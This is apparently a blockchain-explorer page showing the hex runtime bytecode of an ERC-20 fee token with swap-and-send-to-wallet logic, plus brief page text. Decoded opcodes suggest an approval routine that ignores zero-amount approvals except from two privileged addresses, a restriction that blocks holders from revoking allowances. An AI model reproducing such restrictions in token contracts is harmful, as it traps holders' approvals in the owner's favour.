054906000610c2d83611598565b91905055505b6015546001600160a01b038481169116148015610c5957506001600160a01b0384163014155b15610c9157610c836064610af2600d54600f5411610c7957600954610aeb565b600b548590610f57565b905047610c8f47611022565b505b30600090815260026020526040902054601554600160a81b900460ff16158015610cc857506015546001600160a01b038581169116145b8015610cdd5750601554600160b01b900460ff165b8015610cea575060125481115b8015610cf95750600e54600f54115b15610d7757601554600160b81b900460ff1615610d5257436016541015610d4d57610d37610d3284610d2d84601354611060565b611060565b611075565b478015610d4757610d4747611022565b50436016555b610d77565b610d65610d3284610d2d84601354611060565b478015610d7557610d7547611022565b505b505b8015610df35730600090815260026020526040902054610d9990826111ef565b30600081815260026020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dea9085815260200190565b60405180910390a35b6001600160a01b038416600090815260026020526040902054610e16908361124e565b6001600160a01b038516600090815260026020526040902055610e5b610e3c838361124e565b6001600160a01b038516600090815260026020526040902054906111ef565b6001600160a01b0380851660008181526002602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610ea5858561124e565b60405190815260200160405180910390a350505050565b81158015610ed557506006546001600160a01b03163314155b8015610eec57506007546001600160a01b03163314155b610f17576001600160a01b038416600090815260016020908152604080832033845290915290208390555b50505050565b60008184841115610f415760405162461bcd60e51b81526004016103e091906112be565b506000610f4e84866115b1565b95945050505050565b600082600003610f6957506000610319565b6000610f7583856114ee565b905082610f8285836115c4565b14610fd95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103e0565b9392505050565b6000610fd983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611290565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561105c573d6000803e3d6000fd5b5050565b600081831161106f5782610fd9565b50919050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110bd576110bd6115e6565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611116573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113a919061153a565b8160018151811061114d5761114d6115e6565b6001600160a01b039283166020918202929092010152601454611173913091168461084e565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906111ac9085906000908690309042906004016115fc565b600060405180830381600087803b1580156111c657600080fd5b505af11580156111da573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b6000806111fc8385611585565b905083811015610fd95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103e0565b6000610fd983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f1d565b600081836112b15760405162461bcd60e51b81526004016103e091906112be565b506000610f4e84866115c4565b60006020808352835180602085015260005b818110156112ec578581018301518582016040015282016112d0565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146104fd57600080fd5b6000806040838503121561133557600080fd5b82356113408161130d565b946020939093013593505050565b60008060006060848603121561136357600080fd5b833561136e8161130d565b9250602084013561137e8161130d565b929592945050506040919091013590565b6000602082840312156113a157600080fd5b8135610fd98161130d565b600080604083850312156113bf57600080fd5b82356113ca8161130d565b915060208301356113da8161130d565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561143657816000190482111561141c5761141c6113e5565b8085161561142957918102915b93841c9390800290611400565b509250929050565b60008261144d57506001610319565b8161145a57506000610319565b8160018114611470576002811461147a57611496565b6001915050610319565b60ff84111561148b5761148b6113e5565b50506001821b610319565b5060208310610133831016604e8410600b84101617156114b9575081810a610319565b6114c383836113fb565b80600019048211156114d7576114d76113e5565b029392505050565b6000610fd960ff84168361143e565b8082028115828204841417610319576103196113e5565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561154c57600080fd5b8151610fd98161130d565b60008060006060848603121561156c57600080fd5b8351925060208401519150604084015190509250925092565b80820180821115610319576103196113e5565b6000600182016115aa576115aa6113e5565b5060010190565b81810381811115610319576103196113e5565b6000826115e157634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a08201878352602087602085015260a0604085015281875180845260c08601915060208901935060005b8181101561164e5784516001600160a01b031683529383019391830191600101611629565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122082b8f51572bf21235f054b1813f23f19326d077465acbc710f42c5722dd13d0064736f6c63430008190033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.